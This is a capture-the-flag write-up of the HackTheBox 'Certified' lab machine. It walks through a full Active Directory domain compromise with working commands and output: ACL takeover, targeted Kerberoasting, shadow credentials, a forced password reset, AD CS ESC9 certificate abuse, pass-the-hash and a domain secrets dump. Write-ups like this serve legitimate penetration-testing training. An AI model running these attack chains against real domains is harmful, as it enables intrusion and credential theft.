Post

HackTheBox Certified

Writeup for HackTheBox Certified

HackTheBox Certified

Machine Synopsis

Certified is a medium-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. To gain access to the management_svc account, ACLs (Access Control Lists) over privileged objects are enumerated leading us to discover that judith.mader which has the write owner ACL over management group, management group has GenericWrite over the management_svc account where we can finally authenticate to the target using WinRM obtaining the user flag. Exploitation of the Active Directory Certificate Service (ADCS) is required to get access to the Administrator account by abusing shadow credentials and ESC9. (Source)

As is common in Windows pentests, you will start the Certified box with credentials for the following account: judith.mader/judith09

Key exploitation techniques:

  • Active Directory ACL enumeration and abuse (WriteOwner, GenericWrite)
  • Password reset via net rpc
  • WinRM for lateral movement
  • BloodHound for Active Directory attack path mapping
  • Active Directory Certificate Services (AD CS) ESC9 (NoEKU) vulnerability
  • Shadow Credentials for certificate enrollment
  • Certificate-based authentication for domain compromise

Enumeration

An nmap scan identified standard Active Directory services (DNS, Kerberos, LDAP, SMB, WSMAN) and confirmed the domain certified.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ nmap -p- --min-rate 10000 10.10.11.41

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49668/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49683/tcp open  unknown
49716/tcp open  unknown
49740/tcp open  unknown
49775/tcp open  unknown

❯ nmap -p 53,88,135,139,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49716,49740,49775 -sC -sV 10.10.11.41

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
...
445/tcp   open  microsoft-ds?
...
5985/tcp  open  wsman
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|_    Message signing enabled and required

The domain certified.htb and its Domain Controller DC01.certified.htb were added to /etc/hosts.

1
echo -e '10.10.11.41\tcertified.htb dc01.certified.htb' | sudo tee -a /etc/hosts

nxc smb was used to enumerate domain users and confirm judith.mader’s credentials.

1
2
3
4
5
6
❯ nxc smb certified.htb -u "judith.mader" -p "judith09" --rid-brute | grep SidTypeUser | awk '{print $6}'
CERTIFIED\Administrator
CERTIFIED\judith.mader
CERTIFIED\management_svc
CERTIFIED\ca_operator
# ... (truncated)

BloodHound data was collected using bloodhound-python for comprehensive Active Directory analysis. Time synchronization was performed to prevent Kerberos issues.

1
2
3
sudo ntpdate certified.htb # Sync time to DC
❯ /usr/bin/bloodhound-python -u judith.mader -p 'judith09' -c All -d certified.htb -ns 10.10.11.41
# Output saved to a .zip file for BloodHound GUI.

Exploitation

Analysis of the BloodHound graph revealed a critical ACL chain:

  • judith.mader had WriteOwner permissions over the MANAGEMENT group.
  • The MANAGEMENT group had GenericWrite permissions over the management_svc account.

bloodhound_judith

Exploiting ACLs: WriteOwner to GenericWrite

The WriteOwner permission on the MANAGEMENT group allowed judith.mader to take ownership of the group.

1
2
sudo impacket-owneredit -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
[*] OwnerSid modified successfully!

As the new owner, judith.mader could then modify the MANAGEMENT group’s DACL to grant herself WriteMembers permissions. This allowed her to add herself to the MANAGEMENT group.

1
2
sudo impacket-dacledit 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
[*] DACL modified successfully!

Finally, judith.mader added herself to the MANAGEMENT group using net rpc.

1
❯ net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'

Now, as a member of MANAGEMENT, judith.mader inherited GenericWrite permissions over the management_svc account.

Lateral Movement: Targeted Kerberoasting & Shadow Credentials

With GenericWrite on management_svc, its properties could be modified. This allowed for Targeted Kerberoasting and ultimately Shadow Credentials exploitation to gain access to management_svc.

Targeted Kerberoasting (Attempted)

The initial attempt involved targeted Kerberoasting of the management_svc account. This aims to retrieve its service principal name (SPN) hash, which could then be cracked offline.

1
2
3
4
5
❯ python3 targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$8e864632eac7f05ffebb06a69eadbf64$c4586d04fbcc532de0d7c2fe268e9b57a59506b20843d2b9647d803151efec43fa487dc93981002a4e09bf8b63fe728a77efd8622235e7d025be449a13e53905ecc23f89dd067e3f930610a1c0be4a32e8966623d12b18183900be2f69c8d3ca7d05ede0c29c1c2d28837d83c9ecead31af96426a3b064199e1f525d76282bee9f1d01b3f28472f2c283e9c4a433fe61909c0bd2449f9f349accf1663a0078ac2cbf62f9f7af1145f06b7081e7852ef615b657db5a229e3c61ace079ec4802de3913a19cb5002bad6a10c180deff5959afd2d69b9d7f09b73a764526723d2240702aa998346f1326f959802519a5171ed37cdee97e9ee2a9fcf47438545d7c7ef57e346d7c8e8256f37bbaeb69a9dd49ffa711b8254a5c1bfae0e82a1628411b48d70d5509e74043477b0d864a4af234bfb5f663a19da142e96f3a495019924665986e3b40ac012183f53e18b2475eee83b884e669fbfcb2fe36b8234997eb1abe8621b2581c8470de7eb87d02256c9bbaad51a399454722584776f61054c73ffaa855c414ec29c41491cf9f97c85719d4671d82c12bbdaaa7295dedf9d71b78a5a5403eded6091098b34b227b9c2f24cf608935740573e46add9776153f8efc3f90ea37c8a9ee386470d722e718e0e6b67766945b432f0defcd86cab4a502d9b576a773418274aa622cad8f53aedb2a4fee823d1811d8fa611f6a70d0c5a7ec88e5ac6b99dab823fec1a17ed0bd48c0099180979b48280b0a5def65da751d8a3171249e76115a082c1fefcd1d6b9327b054c4cfb00d050e745576ffa650e1ab33323102ba84da89007a38c8c63c7f55c20c8f31a879989c64bf6781d60c2ab62e71e5f1cf6db4eb18db34c820c0cad9d3fcb548f95fc8e3a7c54f52733fe56b2bed64229d05700dde34cb744e6c34857b9451503e17754011b11211c32b8fcefc738353e4dad449b264cd9950f5999da2428c8a2c10d10b99cfb3838b8e81265aafe6f10c9e01aa4c2c5d3c0e3e67631ae441bd7f297c35a3e7a71e0e80dc4e1b4d85ed6a748e865e1c20162ac66633f52be6da389787e405f587c63de5a5e8ef3bf9eb368823cda644d35f55e41b3accea4aea966ac7f1a84fc33c7e7c15f714a5ddca376374b6cad00be4d21df92289ad961ab13e0b00647302e3e959200e7b785a593dc672c85dc6d97deec843f07febdc9107d584cd020d9ef144f022bf6dec61b919439a1b33315c95ec2f2ace59b1c5d77a5b667996b88442bb8800672d9b865c910a861fb9d4cff2a78547d77d38486f79cfd47a2fa505a0b6ceb8b5b8c834bb7c9b15d9ed738a741334e3a1fc0d9c23eb7f5713a6c6a5629d69f2efc3f71a16886a50f070b14a8c40617a40456cf93662336273ff32f3ed393d09eba7b0c3facd8c22d5a5fb7a93b46e41f3943a9e07d89e3dc183efd8b93a80aa435727f51e5b0cd4993e8980f8fd54da7780cf12068e8c1188e8f9adc5ad6301e95b295499bb3f3b97e76696a358fd2b1ee45b70f215e04ecd0f3314a1e94f900b481a87c25563266a56bf0ecb21f5a31ca82e58935d62efea1c83899418c4118b5146

The retrieved Kerberos hash for management_svc was uncrackable, leading to the pursuit of an alternative method.

Shadow Credentials for management_svc

Since judith.mader had GenericWrite on management_svc, she could add Shadow Credentials to the account. This allows obtaining a Kerberos Ticket Granting Ticket (TGT) without needing the account’s password.

pywhisker was used to add a new KeyCredential to management_svc.

1
2
3
4
5
6
7
8
❯ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Generating KeyCredential with DeviceID: c1b10515-961c-9b19-edbc-d0a47fe38147
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: od0VPICw.pfx
[*] Must be used with password: wjw8w1wWwtNwIl1vkm3l

pywhisker provided the path to the generated PFX file (od0VPICw.pfx) and its password (wjw8w1wWwtNwIl1vkm3l).

This PFX was then used with gettgtpkinit.py to obtain a TGT for management_svc.

1
2
3
4
❯ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx ../pywhisker/pywhisker/od0VPICw.pfx -pfx-pass wjw8w1wWwtNwIl1vkm3l management_svc.ccache
[*] Requesting TGT
[*] AS-REP encryption key (you might need this later): d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Saved TGT to file

The TGT was saved to management_svc.ccache.

The management_svc’s NT hash was then recovered using getnthash.py with the obtained TGT and AS-REP encryption key.

1
2
3
4
5
6
export KRB5CCNAME=management_svc.ccache
❯ python3 getnthash.py certified.htb/management_svc -key d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

The NT hash for management_svc (a091c1832bcdd4677c28b5a6a1295584) was obtained.

WinRM Access to management_svc

The management_svc NT hash was used to establish a WinRM session.

1
2
3
4
❯ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
aeef49aba577440516239df6cb94392c

The user.txt flag was retrieved.

Privilege Escalation: AD CS ESC9

With management_svc access, another BloodHound data collection was performed to identify further escalation paths, specifically focusing on Active Directory Certificate Services (AD CS).

1
2
❯ /usr/bin/bloodhound-python -d certified.htb -c All -ns 10.10.11.41 --zip -u management_svc --hash :a091c1832bcdd4677c28b5a6a1295584 --use-ldap
# Output saved to a new .zip file.

bloodhound_management_svc

BloodHound analysis revealed that management_svc had GenericAll privileges over the ca_operator account.

We can change the password for ca_operator.

We use ffffffffffffffffffffffffffffffff for LM hash because it is not known to us.

1
2
3
❯ pth-net rpc password "ca_operator" "P@ssw0rd" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "dc01.certified.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

We can test if the password change was successful.

1
2
3
❯ nxc smb certified.htb -u 'ca_operator' -p 'P@ssw0rd'
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:P@ssw0rd 

Now that we have owned ca_operator, we can try to find vulnerable AD CS configurations using certipy-ad.

1
2
❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41 -old-bloodhound
# Output saved to a new .zip file

Drag the new Bloodhound data to the GUI and refresh the GUI to analyze the newly added AD CS data.

bloodhound_ca_operator

Unfortunately the Bloodhound version that I’m currently using can’t show what vulnerabilities we can exploit.

certipy-ad find was used to identify vulnerable certificate templates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41
...
[*] Saved text output to '20250207234935_Certipy.txt'
[*] Saved JSON output to '20250207234935_Certipy.json'cat 20250207234935_Certipy.json
...
"Certificate Templates": {
    "0": {
      "Template Name": "CertifiedAuthentication",
      "Display Name": "Certified Authentication",
      # ...
      "Enrollment Flag": [
        "NoSecurityExtension", # Critical for ESC9
        "AutoEnrollment",
        "PublishToDs"
      ],
      # ...
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFIED.HTB\\operator ca", # 'operator ca' group can enroll
            # ...
          ]
        },
      # ...
      "[!] Vulnerabilities": {
        "ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
      }
    }
}

The CertifiedAuthentication template was identified as vulnerable to ESC9 (NoEKU). This vulnerability exists when a template has NoSecurityExtension enabled and an enrolling principal (like operator ca, a group ca_operator is likely a part of) has enrollment rights. This allows an attacker to request a certificate for any user, including high-privileged ones like Administrator, without the certificate containing the Any Purpose EKU.

Exploiting ESC9 with Shadow Credentials

Since management_svc had GenericAll over ca_operator, Shadow Credentials were used to obtain ca_operator’s NT hash. This facilitated the subsequent certificate request.

1
2
❯ certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
[*] NT hash for 'ca_operator': e19ccf75ee54e06b06a5907af13cef42

The NT hash for ca_operator (e19ccf75ee54e06b06a5907af13cef42) was retrieved.

Next, ca_operator’s userPrincipalName (UPN) was temporarily updated to Administrator using management_svc’s GenericAll rights. This is a crucial step for ESC9, as it directs the CA to issue the certificate for the Administrator account’s UPN.

1
2
3
❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -debug
[*] Updating user 'ca_operator': userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

A certificate was then requested for Administrator using the ca_operator’s hash and the vulnerable CertifiedAuthentication template.

1
2
3
4
sudo certipy-ad req -username 'ca_operator@certified.htb' -hashes 'e19ccf75ee54e06b06a5907af13cef42' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate and private key to 'administrator.pfx'

Immediately after requesting the certificate, ca_operator’s UPN was reverted to its original value to minimize forensic footprint.

1
2
❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn "ca_operator@certified.htb"
[*] Successfully updated 'ca_operator'

Finally, the administrator.pfx certificate was used to authenticate and retrieve the Administrator’s NT hash.

1
2
3
4
5
❯ certipy-ad auth -pfx administrator.pfx -domain "certified.htb"
[*] Using principal: administrator@certified.htb
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

The Administrator’s NTLM hash was then used to gain a root shell via evil-winrm.

1
2
3
4
❯ evil-winrm -i certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
8ce24fced08f18463c0b209e4cb56a00

The root.txt flag was retrieved.

Alternative Post-Exploitation:

With the Administrator’s TGT (stored in administrator.ccache), domain secrets could be dumped using impacket-secretsdump.

1
2
KRB5CCNAME=administrator.ccache impacket-secretsdump -k dc01.certified.htb
  # This would dump all NTLM hashes and Kerberos keys from the domain controller.

Cleanup

For proper operational security, any artifacts left on the system or modifications made to Active Directory should be reverted.

  • Restore MANAGEMENT group’s original owner and DACL.
  • Remove judith.mader from the MANAGEMENT group.
  • Delete od0VPICw.pfx, management_svc.ccache, administrator.pfx, administrator.ccache, and any BloodHound zip files.
  • Remove any Shadow Credentials added to ca_operator.
1
2
# Example: Remove Shadow Credential (if not automatically removed by certipy)
# certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator --action "remove"
This post is licensed under CC BY 4.0 by the author.